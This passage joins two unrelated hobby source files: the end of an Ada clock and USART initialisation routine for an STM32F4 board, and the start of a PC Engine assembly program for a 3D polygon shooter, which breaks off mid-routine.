when RCC_CFGR.HPRE_DIV2 => SYSCLK / 2,
when RCC_CFGR.HPRE_DIV4 => SYSCLK / 4,
when RCC_CFGR.HPRE_DIV8 => SYSCLK / 8,
when RCC_CFGR.HPRE_DIV16 => SYSCLK / 16,
when RCC_CFGR.HPRE_DIV64 => SYSCLK / 64,
when RCC_CFGR.HPRE_DIV128 => SYSCLK / 128,
when RCC_CFGR.HPRE_DIV256 => SYSCLK / 256,
when RCC_CFGR.HPRE_DIV512 => SYSCLK / 512,
when others => raise Program_Error);
PCLK1 : constant PCLK1_Range :=
(case PPRE1 is
when RCC_CFGR.PPRE1_DIV1 => HCLK / 1,
when RCC_CFGR.PPRE1_DIV2 => HCLK / 2,
when RCC_CFGR.PPRE1_DIV4 => HCLK / 4,
when RCC_CFGR.PPRE1_DIV8 => HCLK / 8,
when RCC_CFGR.PPRE1_DIV16 => HCLK / 16,
when others => raise Program_Error);
pragma Unreferenced (PCLK1);
PCLK2 : constant PCLK2_Range :=
(case PPRE2 is
when RCC_CFGR.PPRE2_DIV1 => HCLK / 1,
when RCC_CFGR.PPRE2_DIV2 => HCLK / 2,
when RCC_CFGR.PPRE2_DIV4 => HCLK / 4,
when RCC_CFGR.PPRE2_DIV8 => HCLK / 8,
when RCC_CFGR.PPRE2_DIV16 => HCLK / 16,
when others => raise Program_Error);
-- Local Subprograms
function "and" (Left, Right : Word) return Boolean is
((Left and Right) /= 0);
procedure Reset (Register : in out Word; Mask : Word);
procedure Set (Register : in out Word; Mask : Word);
procedure Initialize_USART1 (Baudrate : Positive);
procedure Initialize_Clocks;
procedure Reset_Clocks;
-----------
-- Reset --
-----------
procedure Reset (Register : in out Word; Mask : Word) is
begin
Register := Register and not Mask;
end Reset;
---------
-- Set --
---------
procedure Set (Register : in out Word; Mask : Word) is
begin
Register := Register or Mask;
end Set;
-----------------------
-- Initialize_Clocks --
-----------------------
procedure Initialize_Clocks is
MCU_ID_Cp : constant MCU_ID_Register := MCU_ID;
begin
-- PWR clock enable
-- Reset the power interface
RCC.APB1ENR := RCC_APB1ENR_PWR;
-- PWR initialization
-- Select higher supply power for stable operation at max. freq.
-- (See the Symbol V12 line in table 14 of the STM32F407xx datasheet,
-- and table 15 p79). On the stm32f4 discovery board, VDD is 3V.
-- Voltage supply scaling only
if MCU_ID_Cp.DEV_ID = DEV_ID_STM32F407xx then
PWR.CR := PWR_CR_VOS_HIGH_407;
elsif MCU_ID_Cp.DEV_ID = DEV_ID_STM32F42xxx then
PWR.CR := PWR_CR_VOS_HIGH_429;
end if;
-- Setup internal clock and wait for HSI stabilisation.
-- The internal high speed clock is always enabled, because it is the
-- fallback clock when the PLL fails.
RCC.CR := RCC.CR or RCC_CR.HSION;
loop
exit when RCC.CR and RCC_CR.HSIRDY;
end loop;
-- Configure high-speed external clock, if enabled
if HSE_Enabled then
RCC.CR := RCC.CR or RCC_CR.HSEON
or (if HSE_Bypass then RCC_CR.HSEBYP else 0);
loop
exit when RCC.CR and RCC_CR.HSERDY;
end loop;
end if;
-- Configure low-speed internal clock if enabled
if LSI_Enabled then
RCC.CSR := RCC.CSR or RCC_CSR.LSION;
loop
exit when RCC.CSR and RCC_CSR.LSIRDY;
end loop;
end if;
-- Activate PLL if enabled
if Activate_PLL then
RCC.PLLCFGR := PLLQ or PLLSRC_HSE or PLLP or PLLN or PLLM;
Set (RCC.CR, RCC_CR.PLLON);
loop
exit when RCC.CR and RCC_CR.PLLRDY;
end loop;
end if;
-- Configure flash
-- Must be done before increasing the frequency, otherwise the CPU
-- won't be able to fetch new instructions.
FLASH.ACR := FLASH_ACR.LATENCY_5WS or FLASH_ACR.ICEN or FLASH_ACR.DCEN
or FLASH_ACR.PRFTEN;
-- Configure derived clocks
RCC.CFGR :=
-- AHB prescaler is 1, APB1 uses 4 and APB2 prescaler is 2
HPRE or PPRE1 or PPRE2 or
-- Configure MC01 pin to have the HSI (high speed internal clock)
RCC_CFGR.MCO1PRE_DIV1 or RCC_CFGR.MCO1SEL_HSI or
-- Configure MCO2 pin to have SYSCLK / 5
RCC_CFGR.MCO2PRE_DIV5 or RCC_CFGR.MCO2SEL_SYSCLK or
-- Select system clock source
SW;
if Activate_PLL then
loop
exit when (RCC.CFGR and (RCC_CFGR.SWS_HSE or RCC_CFGR.SWS_PLL))
= RCC_CFGR.SWS_PLL;
end loop;
-- Wait until voltage supply scaling has completed
loop
exit when PWR.CSR and PWR_CSR_VOSRDY;
end loop;
end if;
end Initialize_Clocks;
------------------
-- Reset_Clocks --
------------------
procedure Reset_Clocks is
begin
-- Switch on high speed internal clock
Set (RCC.CR, RCC_CR.HSION);
-- Reset CFGR regiser
RCC.CFGR := 0;
-- Reset HSEON, CSSON and PLLON bits
Reset (RCC.CR, RCC_CR.HSEON or RCC_CR.CSSON or RCC_CR.PLLON);
-- Reset PLL configuration register
RCC.PLLCFGR := 16#2400_3010#;
-- Reset HSE bypass bit
Reset (RCC.CR, RCC_CR.HSEBYP);
-- Disable all interrupts
RCC.CIR := 0;
end Reset_Clocks;
-----------------------
-- Initialize_USART1 --
-----------------------
procedure Initialize_USART1 (Baudrate : Positive) is
use GPIO;
APB_Clock : constant Positive := PCLK2;
Int_Divider : constant Positive := (25 * APB_Clock) / (4 * Baudrate);
Frac_Divider : constant Natural := Int_Divider rem 100;
BRR : Bits_16;
begin
RCC.APB2ENR := RCC.APB2ENR or RCC_APB2ENR_USART1;
RCC.AHB1ENR := RCC.AHB1ENR or RCC_AHB1ENR_GPIOB;
GPIOB.MODER (6 .. 7) := (Mode_AF, Mode_AF);
GPIOB.OSPEEDR (6 .. 7) := (Speed_50MHz, Speed_50MHz);
GPIOB.OTYPER (6 .. 7) := (Type_PP, Type_PP);
GPIOB.PUPDR (6 .. 7) := (Pull_Up, Pull_Up);
GPIOB.AFRL (6 .. 7) := (AF_USART1, AF_USART1);
BRR := (Bits_16 (Frac_Divider * 16) + 50) / 100 mod 16
or Bits_16 (Int_Divider / 100 * 16);
USART1.BRR := BRR;
USART1.CR1 := USART.CR1_UE or USART.CR1_RE or USART.CR1_TE;
USART1.CR2 := 0;
USART1.CR3 := 0;
end Initialize_USART1;
begin
Reset_Clocks;
Initialize_Clocks;
Initialize_USART1 (115_200);
end Setup_Pll;
|
asm_src/sg_test4/sg_test4.asm | yhzmr442/jspce | 9 | 16424 | VDC_0 .equ $0000
VDC_1 .equ $0001
VDC_2 .equ $0002
VDC_3 .equ $0003
VDC1 .equ 1
VDC1_0 .equ VDC_0
VDC1_1 .equ VDC_1
VDC1_2 .equ VDC_2
VDC1_3 .equ VDC_3
VDC2 .equ 2
VDC2_0 .equ $0010
VDC2_1 .equ $0011
VDC2_2 .equ $0012
VDC2_3 .equ $0013
VPC_0 .equ $0008
VPC_1 .equ $0009
VPC_2 .equ $000A
VPC_3 .equ $000B
VPC_4 .equ $000C
VPC_5 .equ $000D
VPC_6 .equ $000E
VPC_7 .equ $000F
VCE_0 .equ $0400
VCE_1 .equ $0401
VCE_2 .equ $0402
VCE_3 .equ $0403
VCE_4 .equ $0404
VCE_5 .equ $0405
VCE_6 .equ $0406
VCE_7 .equ $0407
TIMER_CONTROL_REG .equ $0C00
TIMER_COUNTER_REG .equ $0C01
INTERRUPT_DISABLE_REG .equ $1402
IO_REG .equ $1000
chardatBank .equ 3
divdatBank .equ 20
mul2datBank .equ 4
;//////////////////////////////////
;----------------------------
putPolyLineV1m .macro
sta VDC1_2
sty VDC1_3
.endm
;----------------------------
putPolyLineV2m .macro
sta VDC2_2
sty VDC2_3
.endm
;----------------------------
putPolyLineV1lm .macro
putPolyLineV1m ;30
putPolyLineV1m ;29
putPolyLineV1m ;28
putPolyLineV1m ;27
putPolyLineV1m ;26
putPolyLineV1m ;25
putPolyLineV1m ;24
putPolyLineV1m ;23
putPolyLineV1m ;22
putPolyLineV1m ;21
putPolyLineV1m ;20
putPolyLineV1m ;19
putPolyLineV1m ;18
putPolyLineV1m ;17
putPolyLineV1m ;16
putPolyLineV1m ;15
putPolyLineV1m ;14
putPolyLineV1m ;13
putPolyLineV1m ;12
putPolyLineV1m ;11
putPolyLineV1m ;10
putPolyLineV1m ;9
putPolyLineV1m ;8
putPolyLineV1m ;7
putPolyLineV1m ;6
putPolyLineV1m ;5
putPolyLineV1m ;4
putPolyLineV1m ;3
putPolyLineV1m ;2
putPolyLineV1m ;1
.endm
;----------------------------
putPolyLineV2lm .macro
putPolyLineV2m ;30
putPolyLineV2m ;29
putPolyLineV2m ;28
putPolyLineV2m ;27
putPolyLineV2m ;26
putPolyLineV2m ;25
putPolyLineV2m ;24
putPolyLineV2m ;23
putPolyLineV2m ;22
putPolyLineV2m ;21
putPolyLineV2m ;20
putPolyLineV2m ;19
putPolyLineV2m ;18
putPolyLineV2m ;17
putPolyLineV2m ;16
putPolyLineV2m ;15
putPolyLineV2m ;14
putPolyLineV2m ;13
putPolyLineV2m ;12
putPolyLineV2m ;11
putPolyLineV2m ;10
putPolyLineV2m ;9
putPolyLineV2m ;8
putPolyLineV2m ;7
putPolyLineV2m ;6
putPolyLineV2m ;5
putPolyLineV2m ;4
putPolyLineV2m ;3
putPolyLineV2m ;2
putPolyLineV2m ;1
.endm
;----------------------------
setEdgeBuffer0m .macro
;
tya
sta edgeLeft,x
inc edgeCount,x
.endm
;----------------------------
setEdgeBufferm .macro
;set edge buffer
lda edgeCount,x
beq .jpCount1_\@ ;count 1
bpl .jpCount2_\@ ;count 2
;count 0
.jpCount0_\@:
tya
sta edgeLeft,x
inc edgeCount,x
bra .jp2_\@
;count 1
.jpCount1_\@:
tya
cmp edgeLeft,x
bcs .jp4_\@ ;a >= edgeLeft,x
lda edgeLeft,x
sta edgeRight,x
tya
sta edgeLeft,x
inc edgeCount,x
bra .jp2_\@
.jp4_\@:
sta edgeRight,x
inc edgeCount,x
bra .jp2_\@
;count 2
.jpCount2_\@:
tya
cmp edgeLeft,x
bcs .jp3_\@ ;a >= edgeLeft,x
sta edgeLeft,x
bra .jp2_\@
.jp3_\@:
cmp edgeRight,x
bcc .jp2_\@ ;a < edgeRight,x
sta edgeRight,x
.jp2_\@:
.endm
;----------------------------
jcc .macro
bcs .jp\@
jmp \1
.jp\@
.endm
;----------------------------
jcs .macro
bcc .jp\@
jmp \1
.jp\@
.endm
;----------------------------
jeq .macro
bne .jp\@
jmp \1
.jp\@
.endm
;----------------------------
jne .macro
beq .jp\@
jmp \1
.jp\@
.endm
;----------------------------
jpl .macro
bmi .jp\@
jmp \1
.jp\@
.endm
;----------------------------
jmi .macro
bpl .jp\@
jmp \1
.jp\@
.endm
;----------------------------
add .macro
;\1 = \2 + \3
;\1 = \1 + \2
.if (\# = 1)
clc
adc \1
.else
.if (\# = 3)
clc
lda \2
adc \3
sta \1
.else
clc
lda \1
adc \2
sta \1
.endif
.endif
.endm
;----------------------------
sub .macro
;\1 = \2 - \3
;\1 = \1 - \2
.if (\# = 1)
sec
sbc \1
.else
.if (\# = 3)
sec
lda \2
sbc \3
sta \1
.else
sec
lda \1
sbc \2
sta \1
.endif
.endif
.endm
;----------------------------
addw .macro
;\1 = \2 + \3
;\1 = \1 + \2
.if (\# = 3)
.if (\?3 = 2);Immediate
clc
lda \2
adc #LOW(\3)
sta \1
lda \2+1
adc #HIGH(\3)
sta \1+1
.else
clc
lda \2
adc \3
sta \1
lda \2+1
adc \3+1
sta \1+1
.endif
.else
.if (\?2 = 2);Immediate
clc
lda \1
adc #LOW(\2)
sta \1
lda \1+1
adc #HIGH(\2)
sta \1+1
.else
clc
lda \1
adc \2
sta \1
lda \1+1
adc \2+1
sta \1+1
.endif
.endif
.endm
;----------------------------
addwb .macro
;\1(word) = \1(word) + \2(byte)
clc
lda \1
adc \2
sta \1
bcc .jp0\@
inc \1+1
.jp0\@
.endm
;----------------------------
subw .macro
;\1 = \2 - \3
;\1 = \1 - \2
.if (\# = 3)
.if (\?3 = 2);Immediate
sec
lda \2
sbc #LOW(\3)
sta \1
lda \2+1
sbc #HIGH(\3)
sta \1+1
.else
.if (\?2 = 2);Immediate
sec
lda #LOW(\2)
sbc \3
sta \1
lda #HIGH(\2)
sbc \3+1
sta \1+1
.else
sec
lda \2
sbc \3
sta \1
lda \2+1
sbc \3+1
sta \1+1
.endif
.endif
.else
.if (\?2 = 2);Immediate
sec
lda \1
sbc #LOW(\2)
sta \1
lda \1+1
sbc #HIGH(\2)
sta \1+1
.else
sec
lda \1
sbc \2
sta \1
lda \1+1
sbc \2+1
sta \1+1
.endif
.endif
.endm
;----------------------------
addq .macro
;\1 = \2 + \3
;\1 = \1 + \2
.if (\# = 3)
clc
lda \2
adc \3
sta \1
lda \2+1
adc \3+1
sta \1+1
lda \2+2
adc \3+2
sta \1+2
lda \2+3
adc \3+3
sta \1+3
.else
clc
lda \1
adc \2
sta \1
lda \1+1
adc \2+1
sta \1+1
lda \1+2
adc \2+2
sta \1+2
lda \1+3
adc \2+3
sta \1+3
.endif
.endm
;----------------------------
subq .macro
;\1 = \2 - \3
;\1 = \1 - \2
.if (\# = 3)
sec
lda \2
sbc \3
sta \1
lda \2+1
sbc \3+1
sta \1+1
lda \2+2
sbc \3+2
sta \1+2
lda \2+3
sbc \3+3
sta \1+3
.else
sec
lda \1
sbc \2
sta \1
lda \1+1
sbc \2+1
sta \1+1
lda \1+2
sbc \2+2
sta \1+2
lda \1+3
sbc \2+3
sta \1+3
.endif
.endm
;----------------------------
andm .macro
;\1 = \1 AND \2
lda \1
and \2
sta \1
.endm
;----------------------------
andmw .macro
;\1 = \1 AND \2
.if (\?2 = 2);Immediate
lda \1
and #LOW(\2)
sta \1
lda \1+1
and #HIGH(\2)
sta \1+1
.else
lda \1
and \2
sta \1
lda \1+1
and \2+1
sta \1+1
.endif
.endm
;----------------------------
oram .macro
;\1 = \1 OR \2
lda \1
ora \2
sta \1
.endm
;----------------------------
oramw .macro
;\1 = \1 OR \2
.if (\?2 = 2);Immediate
lda \1
ora #LOW(\2)
sta \1
lda \1+1
ora #HIGH(\2)
sta \1+1
.else
lda \1
ora \2
sta \1
lda \1+1
ora \2+1
sta \1+1
.endif
.endm
;----------------------------
eorm .macro
;\1 = \1 XOR \2
lda \1
eor \2
sta \1
.endm
;----------------------------
eormw .macro
;\1 = \1 XOR \2
.if (\?2 = 2);Immediate
lda \1
eor #LOW(\2)
sta \1
lda \1+1
eor #HIGH(\2)
sta \1+1
.else
lda \1
eor \2
sta \1
lda \1+1
eor \2+1
sta \1+1
.endif
.endm
;----------------------------
mov .macro
;\1 = \2
lda \2
sta \1
.endm
;----------------------------
movw .macro
;\1 = \2
.if (\?2 = 2);Immediate
lda #LOW(\2)
sta \1
lda #HIGH(\2)
sta \1+1
.else
lda \2
sta \1
lda \2+1
sta \1+1
.endif
.endm
;----------------------------
movq .macro
;\1 = \2
;\1 = \2:\3
.if (\?2 = 2);Immediate
lda #LOW(\3)
sta \1
lda #HIGH(\3)
sta \1+1
lda #LOW(\2)
sta \1+2
lda #HIGH(\2)
sta \1+3
.else
lda \2
sta \1
lda \2+1
sta \1+1
lda \2+2
sta \1+2
lda \2+3
sta \1+3
.endif
.endm
;----------------------------
stzw .macro
;\1 = 0
stz \1
stz \1+1
.endm
;----------------------------
stzq .macro
;\1 = 0
stz \1
stz \1+1
stz \1+2
stz \1+3
.endm
;----------------------------
cmpw2 .macro
;\1 - \2
.if (\?2 = 2);Immediate
sec
lda \1
sbc #LOW(\2)
lda \1+1
sbc #HIGH(\2)
.else
sec
lda \1
sbc \2
lda \1+1
sbc \2+1
.endif
.endm
;----------------------------
cmpw .macro
;\1 - \2
.if (\?2 = 2);Immediate
lda \1+1
cmp #HIGH(\2)
bne .jp0\@
lda \1
cmp #LOW(\2)
.else
lda \1+1
cmp \2+1
bne .jp0\@
lda \1
cmp \2
.endif
bcs .jp0\@
lda #$80
.jp0\@
.endm
;----------------------------
cmpq2 .macro
;\1 - \2
;\1 - \2:\3
.if (\?2 = 2);Immediate
sec
lda \1
sbc #LOW(\3)
lda \1+1
sbc #HIGH(\3)
lda \1+2
sbc #LOW(\2)
lda \1+3
sbc #HIGH(\2)
.else
sec
lda \1
sbc \2
lda \1+1
sbc \2+1
lda \1+2
sbc \2+2
lda \1+3
sbc \2+3
.endif
.endm
;//////////////////////////////////
.zp
;**********************************
.org $2000
;---------------------
mul16a
div16a .ds 2
mul16b
div16b .ds 2
mul16c
div16c .ds 2
mul16d
div16d .ds 2
muladdr .ds 2
div16ans
sqrt64a .ds 8
sqrt64ans
sqrt64b .ds 8
mulbank .ds 1
;---------------------
;LDRU RSBA
padlast .ds 1
padnow .ds 1
padstate .ds 1
;---------------------
puthexaddr .ds 2
puthexdata .ds 1
;---------------------
randomseed .ds 2
;---------------------
vsyncFlag .ds 1
vdp1Status .ds 1
vdp2Status .ds 1
selectVdc .ds 1
;---------------------
vertexCount .ds 1
vertexCountWork .ds 1
vertex0Addr .ds 2
vertex1Addr .ds 2
vertexWork .ds 4
;---------------------
clip2D0Count .ds 1
clip2D1Count .ds 1
clip2DFlag .ds 1
clip2D0LastIndex .ds 1
;---------------------
circleX
edgeX0 .ds 1
edgeY0 .ds 1
circleY
edgeX1 .ds 1
edgeY1 .ds 1
circleD
edgeSlopeX .ds 1
edgeSlopeY .ds 1
circleDH
edgeSigneX .ds 1
.ds 1
circleDD .ds 2
circleTmp .ds 1
circleRadius .ds 2
circleCenterX .ds 2
circleCenterY .ds 2
circleYTop
circleXLeft .ds 2
circleYBottom
circleXRight .ds 2
circleYWork .ds 2
;---------------------
minEdgeY .ds 1
;---------------------
polyLineX0 .ds 1
polyLineX1 .ds 1
polyLineY .ds 1
polyLineLeftAddr .ds 2
polyLineRightAddr .ds 2
polyLineLeftData .ds 1
polyLineLeftMask .ds 1
polyLineRightData .ds 1
polyLineRightMask .ds 1
polyLineDataLow .ds 1
polyLineDataHigh .ds 1
polyLineColorNo .ds 1
polyLineColorDataWork .ds 1
polyLineColorDataWork0 .ds 1
polyLineColorDataWork1 .ds 1
polyLineColorDataWork2 .ds 1
polyLineColorDataWork3 .ds 1
polyLineYAddr .ds 2
polyLineCount .ds 1
;---------------------
polyBufferAddr .ds 2
polyBufferZ0Work0 .ds 2
polyBufferZ0Work1 .ds 2
polyBufferNow .ds 2
polyBufferNext .ds 2
frontClipFlag .ds 1
frontClipCount .ds 1
frontClipData0 .ds 1
frontClipData1 .ds 1
frontClipDataWork .ds 1
clipFrontX .ds 2
clipFrontY .ds 2
polyBufferAddrWork0 .ds 1
polyBufferAddrWork1 .ds 1
polyBufferAddrWork2 .ds 1
;---------------------
modelAddr .ds 2
modelAddrWork .ds 2
modelPolygonCount .ds 1
setModelCount .ds 1
setModelCountWork .ds 1
setModelFrontColor .ds 1
setModelBackColor .ds 1
setModelColorY .ds 1
setModelAttr .ds 1
model2DClipIndexWork .ds 1
;---------------------
setBatWork .ds 2
;---------------------
centerX .ds 2
centerY .ds 2
;---------------------
translationX .ds 2
translationY .ds 2
translationZ .ds 2
;---------------------
rotationX .ds 1
rotationY .ds 1
rotationZ .ds 1
rotationSelect .ds 1
vertexRotationSin .ds 2
vertexRotationCos .ds 2
;---------------------
eyeTranslationX .ds 2
eyeTranslationY .ds 2
eyeTranslationZ .ds 2
eyeRotationX .ds 1
eyeRotationY .ds 1
eyeRotationZ .ds 1
eyeRotationSelect .ds 1
.bss
;**********************************
.org $2100
;**********************************
.org $2200
;---------------------
frameCount .ds 1
drawCount .ds 1
drawCountWork .ds 1
;---------------------
shipX .ds 2
shipY .ds 2
shipZ .ds 2
;---------------------
shotMAX .equ 4
shotState .ds 2*shotMAX
shotX .ds 2*shotMAX
shotY .ds 2*shotMAX
shotZ .ds 2*shotMAX
;---------------------
enemyShotMAX .equ 16
enemyShotState .ds 4*enemyShotMAX
enemyShotX .ds 4*enemyShotMAX
enemyShotY .ds 4*enemyShotMAX
enemyShotZ .ds 4*enemyShotMAX
enemyShotMoveX .ds 4*enemyShotMAX
enemyShotMoveY .ds 4*enemyShotMAX
enemyShotMoveZ .ds 4*enemyShotMAX
;---------------------
enemyMAX .equ 4
enemyState .ds 2*enemyMAX
enemyX .ds 2*enemyMAX
enemyY .ds 2*enemyMAX
enemyZ .ds 2*enemyMAX
enemyTimer .ds 1
;---------------------
objectMAX .equ 4
objectState .ds 2*objectMAX
objectX .ds 2*objectMAX
objectY .ds 2*objectMAX
objectZ .ds 2*objectMAX
objectTimer .ds 1
;---------------------
checkHitWork .ds 2
;---------------------
angleX0 .ds 2
angleX1 .ds 2
angleY0 .ds 2
angleY1 .ds 2
angleZ0 .ds 2
angleZ1 .ds 2
ansAngleX .ds 1
ansAngleY .ds 1
;---------------------
matrix0 .ds 2*3*3
matrix1 .ds 2*3*3
matrix2 .ds 2*3*3
;---------------------
eyeMatrix .ds 2*3*3
;---------------------
transform2DWork0 .ds 256
transform2DWork1 .ds 256
;---------------------
clip2D0 .ds (8+1)*4
clip2D1 .ds (8+1)*4
;---------------------
polyLineColorData0 .ds 32*2
polyLineColorData1 .ds 32*2
polyLineColorData2 .ds 32*2
polyLineColorData3 .ds 32*2
;---------------------
edgeLeft .ds 192
edgeRight .ds 192
edgeCount .ds 192
.ds 1
;---------------------
polyBufferStart .ds 6
polyBufferEnd .ds 6
polyBuffer .ds 1024*3
;NEXT ADDR 2Byte
;SAMPLE Z 2Byte
;COLOR 1Byte + $80 CIRCLE
;COUNT 1Byte : CIRCLE RADIUS : $00 DATA END
;X0 Y0 2Byte
;X1 Y1 2Byte
;X2 Y2 2Byte
;X3 Y3 2Byte
;X4 Y4 2Byte
;X5 Y5 2Byte
;X6 Y6 2Byte
;X7 Y7 2Byte
;X8 Y8 2Byte
;//////////////////////////////////
.code
.bank 0
;**********************************
.org $E000
main:
;initialize VDC
jsr initializeVdc
;initialize pad
jsr initializePad
;set poly proc bank
lda #$01
tam #$05
lda #$02
tam #$06
jsr setBAT
tii polyLineColor0, polyLineColorData0, 32*2
tii polyLineColor1, polyLineColorData1, 32*2
tii polyLineColor2, polyLineColorData2, 32*2
tii polyLineColor3, polyLineColorData3, 32*2
;initialize datas
lda #128
sta <centerX
lda #96
sta <centerY
jsr initScreenVsync
;vsync interrupt start
cli
lda #60
sta frameCount
stz drawCount
stz drawCountWork
stzw shipX
stzw shipY
stzw shipZ
jsr initRandom
jsr getRandom
and #$07
ora #$08
sta enemyTimer
jsr getRandom
and #$07
ora #$08
sta objectTimer
jsr initializeEnemy
jsr initializeEnemyShot
jsr initializeShot
jsr initializeObject
.mainLoop3:
jsr waitScreenVsync
;check pad
;pad up
bbr4 <padnow, .checkPadDown
clc
lda shipY
adc #$80
sta shipY
lda shipY+1
adc #$00
sta shipY+1
.checkPadDown:
;pad down
bbr6 <padnow, .checkPadLeft
sec
lda shipY
sbc #$80
sta shipY
lda shipY+1
sbc #$00
sta shipY+1
.checkPadLeft:
;pad left
bbr7 <padnow, .checkPadRight
sec
lda shipX
sbc #$80
sta shipX
lda shipX+1
sbc #$00
sta shipX+1
.checkPadRight:
;pad right
bbr5 <padnow, .checkPadEnd
clc
lda shipX
adc #$80
sta shipX
lda shipX+1
adc #$00
sta shipX+1
.checkPadEnd:
movw <eyeTranslationX, shipX
movw <eyeTranslationY, shipY
movw <eyeTranslationZ, shipZ
mov <eyeRotationX, #0
mov <eyeRotationY, #0
mov <eyeRotationZ, #0
mov <eyeRotationSelect, #$12
;initialize buffer
jsr initializePolyBuffer
jsr moveEnemy
jsr moveEnemyShot
jsr moveShot
jsr moveObject
dec enemyTimer
bne .setEnemyJp
jsr setEnemy
jsr getRandom
and #$0F
ora #$10
sta enemyTimer
.setEnemyJp:
bbr0 <padnow, .checkShotEnd
jsr setShot
.checkShotEnd:
dec objectTimer
bne .setObjectJp
jsr setObject
jsr getRandom
and #$07
ora #$08
sta objectTimer
.setObjectJp:
jsr checkHitShotEnemy
jsr setEnemyModel
jsr setEnemyShotModel
jsr setShotModel
jsr setObjectModel
;put polygon
jsr putPolyBuffer
inc drawCountWork
ldx #0
ldy #24
lda drawCount
sei
jsr puthex2
cli
jsr setScreenVsyncFlag
;jump mainloop
jmp .mainLoop3
;----------------------------
checkHitShotEnemy:
;
clx
.loop0: lda shotState, x
jmi .nextShot
cly
.loop1: lda enemyState, y
jmi .nextEnemy
jne .nextEnemy
sec
lda enemyX, y
sbc shotX, x
sta checkHitWork
lda enemyX+1, y
sbc shotX+1, x
sta checkHitWork+1
cmpw2 checkHitWork, #-256-128
jmi .nextEnemy
cmpw2 checkHitWork, #256+128
bpl .nextEnemy
sec
lda enemyY, y
sbc shotY, x
sta checkHitWork
lda enemyY+1, y
sbc shotY+1, x
sta checkHitWork+1
cmpw2 checkHitWork, #-256-128
bmi .nextEnemy
cmpw2 checkHitWork, #256+128
bpl .nextEnemy
sec
lda enemyZ, y
sbc shotZ, x
sta checkHitWork
lda enemyZ+1, y
sbc shotZ+1, x
sta checkHitWork+1
cmpw2 checkHitWork, #-256-128
bmi .nextEnemy
cmpw2 checkHitWork, #256+128
bpl .nextEnemy
lda #$FF
sta shotState, x
lda #$10
sta enemyState, y
sta enemyState+1, y
bra .nextShot
.nextEnemy:
iny
iny
cpy #enemyMAX*2
jne .loop1
.nextShot: inx
inx
cpx #shotMAX*2
jne .loop0
rts
;----------------------------
initializeEnemyShot:
;
clx
.loop: lda #$FF
sta enemyShotState, x
lda intTable+4, x
tax
cpx #enemyShotMAX*4
bne .loop
rts
;----------------------------
setEnemyShot:
;
cly
.loop: lda enemyShotState, y
jpl .jp0
lda #$00
sta enemyShotState, y
lda enemyX, x
sta angleX0
lda enemyX+1, x
sta angleX0+1
lda enemyY, x
sta angleY0
lda enemyY+1, x
sta angleY0+1
lda enemyZ, x
sta angleZ0
lda enemyZ+1, x
sta angleZ0+1
movw angleX1, shipX
movw angleY1, shipY
movw angleZ1, shipZ
jsr getAngle
phx
movw transform2DWork0, #$0000
movw transform2DWork0+2, #$0000
movw transform2DWork0+4, #$0100
mov vertexCount, #1
ldx ansAngleX
jsr vertexRotationX
mov vertexCount, #1
ldx ansAngleY
jsr vertexRotationY
plx
lda #$00
sta enemyShotX, y
lda #$00
sta enemyShotX+1, y
lda enemyX, x
sta enemyShotX+2, y
lda enemyX+1, x
sta enemyShotX+3, y
lda #$00
sta enemyShotY, y
lda #$00
sta enemyShotY+1, y
lda enemyY, x
sta enemyShotY+2, y
lda enemyY+1, x
sta enemyShotY+3, y
lda #$00
sta enemyShotZ, y
lda #$00
sta enemyShotZ+1, y
lda enemyZ, x
sta enemyShotZ+2, y
lda enemyZ+1, x
sta enemyShotZ+3, y
lda #$00
sta enemyShotMoveX, y
lda #$00
sta enemyShotMoveX+1, y
lda transform2DWork0
sta enemyShotMoveX+2, y
lda transform2DWork0+1
sta enemyShotMoveX+3, y
lda #$00
sta enemyShotMoveY, y
lda #$00
sta enemyShotMoveY+1, y
lda transform2DWork0+2
sta enemyShotMoveY+2, y
lda transform2DWork0+3
sta enemyShotMoveY+3, y
lda #$00
sta enemyShotMoveZ, y
lda #$00
sta enemyShotMoveZ+1, y
lda transform2DWork0+4
sta enemyShotMoveZ+2, y
lda transform2DWork0+5
sta enemyShotMoveZ+3, y
bra .jp1
.jp0: lda intTable+4, y
tay
cpy #enemyShotMAX*4
jne .loop
.jp1:
rts
;----------------------------
moveEnemyShot:
;
clx
.loop: lda enemyShotState, x
bmi .jp0
clc
lda enemyShotX, x
adc enemyShotMoveX, x
sta enemyShotX, x
lda enemyShotX+1, x
adc enemyShotMoveX+1, x
sta enemyShotX+1, x
lda enemyShotX+2, x
adc enemyShotMoveX+2, x
sta enemyShotX+2, x
lda enemyShotX+3, x
adc enemyShotMoveX+3, x
sta enemyShotX+3, x
clc
lda enemyShotY, x
adc enemyShotMoveY, x
sta enemyShotY, x
lda enemyShotY+1, x
adc enemyShotMoveY+1, x
sta enemyShotY+1, x
lda enemyShotY+2, x
adc enemyShotMoveY+2, x
sta enemyShotY+2, x
lda enemyShotY+3, x
adc enemyShotMoveY+3, x
sta enemyShotY+3, x
clc
lda enemyShotZ, x
adc enemyShotMoveZ, x
sta enemyShotZ, x
lda enemyShotZ+1, x
adc enemyShotMoveZ+1, x
sta enemyShotZ+1, x
lda enemyShotZ+2, x
adc enemyShotMoveZ+2, x
sta enemyShotZ+2, x
lda enemyShotZ+3, x
adc enemyShotMoveZ+3, x
sta enemyShotZ+3, x
bpl .jp0
lda #$FF
sta enemyShotState, x
.jp0:
lda intTable+4, x
tax
cpx #enemyShotMAX*4
jne .loop
rts
;----------------------------
setEnemyShotModel:
;
clx
.loop: lda enemyShotState, x
jmi .jp0
lda enemyShotX+2, x
sta <translationX
lda enemyShotX+3, x
sta <translationX+1
lda enemyShotY+2, x
sta <translationY
lda enemyShotY+3, x
sta <translationY+1
lda enemyShotZ+2, x
sta <translationZ
lda enemyShotZ+3, x
sta <translationZ+1
mov <rotationX, #0
mov <rotationY, #0
mov <rotationZ, #0
mov <rotationSelect, #$12
movw <modelAddr, #modelData003
phx
jsr setModel2
plx
.jp0:
lda intTable+4, x
tax
cpx #enemyShotMAX*4
jne .loop
rts
;----------------------------
initializeEnemy:
;
lda #$FF
clx
.loop: sta enemyState, x
inx
inx
cpx #enemyMAX*2
bne .loop
rts
;----------------------------
setEnemy:
;
clx
.loop: lda enemyState, x
bpl .jp0
stz enemyState, x
stz enemyState+1, x
jsr getRandom
sta enemyX, x
jsr getRandom
bmi .jpXmi
and #$03
bra .jpX
.jpXmi:
ora #$FC
.jpX:
sta enemyX+1, x
clc
lda enemyX, x
adc shipX
sta enemyX, x
lda enemyX+1, x
adc shipX+1
sta enemyX+1, x
jsr getRandom
sta enemyY, x
jsr getRandom
bmi .jpYmi
and #$03
bra .jpY
.jpYmi:
ora #$FC
.jpY:
